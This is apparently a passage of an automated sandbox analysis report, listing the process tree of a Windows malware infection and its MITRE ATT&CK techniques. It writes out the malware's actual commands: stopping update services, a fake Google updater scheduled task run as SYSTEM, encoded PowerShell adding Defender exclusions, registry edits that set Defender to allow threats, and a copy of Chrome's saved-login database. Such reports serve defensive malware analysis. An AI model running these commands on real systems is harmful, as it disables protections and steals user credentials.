    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:11176
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:8316
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:7772
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:8436
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:9972
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:9960
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:10548
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:9436
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:11392
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:12124
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:6952
- C:\Windows\SysWOW64\ipconfig.exe
  "C:\Windows\SysWOW64\ipconfig.exe"
  2⤵
  - Gathers network information
  PID:12624
- - C:\Windows\SysWOW64\cmd.exe
    /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
    3⤵
    PID:5516

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3228
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 684D6C8CA79417A658F880033B9F2ED6 C
  2⤵
  - Loads dropped DLL
  PID:3176
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6320CB430E22EE552504D95B831EFB85
  2⤵
  - Loads dropped DLL
  PID:2500
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 3F91DC585E03C77E7569A468A2D9AFD2
  2⤵
  - Loads dropped DLL
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  PID:4072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1612
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4564 -ip 4564
1⤵
PID:1060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2092 -ip 2092
1⤵
PID:3676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:408

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2244

C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\krtsSySmQGsixlr\wqLDCKH.exe
C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\krtsSySmQGsixlr\wqLDCKH.exe 8N /Gasite_idpTO 525403 /S
1⤵
PID:5328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:4452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4828
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:6408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7052
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8540
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:10000
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:12692
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:12980
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:11088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:12480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:11280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:12360
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:12716
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:11840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4440

C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
1⤵
PID:4364
- C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
  C:\Users\Admin\AppData\Local\Temp\037ceed7fc\Utsysc.exe
  2⤵
  PID:7400

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:2072

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:1660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 6132 -ip 6132
1⤵
PID:3904

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:2432
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  PID:5432
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
    3⤵
    PID:10504
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      4⤵
      PID:12156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5884 -ip 5884
1⤵
PID:2424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3444 -ip 3444
1⤵
PID:2900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6836 -ip 6836
1⤵
PID:6292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==
1⤵
PID:7032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 7000 -ip 7000
1⤵
PID:6228

C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
1⤵
PID:8280
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  2⤵
  PID:7668

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:8940

C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe
1⤵
PID:8716

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:8328

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:3084
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  PID:8320
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
    3⤵
    PID:12576
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
      4⤵
      PID:4364

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:1680

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:6656

C:\Users\Admin\AppData\Roaming\icddswf
C:\Users\Admin\AppData\Roaming\icddswf
1⤵
PID:11692
- C:\Users\Admin\AppData\Roaming\icddswf
  C:\Users\Admin\AppData\Roaming\icddswf
  2⤵
  PID:10248

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:12172
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  PID:13100
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
    3⤵
    PID:9048
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
      4⤵
      PID:1848

C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\krtsSySmQGsixlr\wqLDCKH.exe
C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\krtsSySmQGsixlr\wqLDCKH.exe 8N /Gasite_idpTO 525403 /S
1⤵
PID:8576

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:10728

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:12780

C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\b64c58644b\Utsysc.exe
1⤵
PID:11184

C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
1⤵
PID:8408

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:9304

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:12212

C:\ProgramData\pinterests\XRJNZC.exe
C:\ProgramData\pinterests\XRJNZC.exe
1⤵
PID:10532

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:5952
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  PID:8860
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:5476

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:8356

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:4580

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:13300

C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\gQaBqPmlfJhfnAA\FjQSjBI.exe
C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\gQaBqPmlfJhfnAA\FjQSjBI.exe Xs /XFsite_idHga 525403 /S
1⤵
PID:2844
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bbPqNtaaeFeEtSKaKR"
  2⤵
  PID:10124
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:6644
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:12688
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:1176

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:6872

C:\ProgramData\pinterests\XRJNZC.exe
C:\ProgramData\pinterests\XRJNZC.exe
1⤵
PID:10228

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:8584

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:8996

C:\Users\Admin\AppData\Roaming\icddswf
C:\Users\Admin\AppData\Roaming\icddswf
1⤵
PID:9064

C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
1⤵
PID:5168

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:7228
- C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
  2⤵
  PID:12596

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:7488

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:12872

C:\ProgramData\AdobeReader\GeforceUpdater.exe
C:\ProgramData\AdobeReader\GeforceUpdater.exe
1⤵
PID:7188

C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
1⤵
PID:5424

C:\ProgramData\WinRar.exe
C:\ProgramData\WinRar.exe
1⤵
PID:12852

C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
1⤵
PID:8072

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
PID:6716

C:\ProgramData\pinterests\XRJNZC.exe
C:\ProgramData\pinterests\XRJNZC.exe
1⤵
PID:11768

C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
C:\Users\Admin\AppData\Local\Temp\a\newmar.exe
1⤵
PID:8120

C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
C:\Users\Admin\AppData\Roaming\NextChannelSink\TypeId.exe
1⤵
PID:10448

C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
C:\Users\Admin\AppData\Roaming\Site\IsCanceled.exe
1⤵
PID:7512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery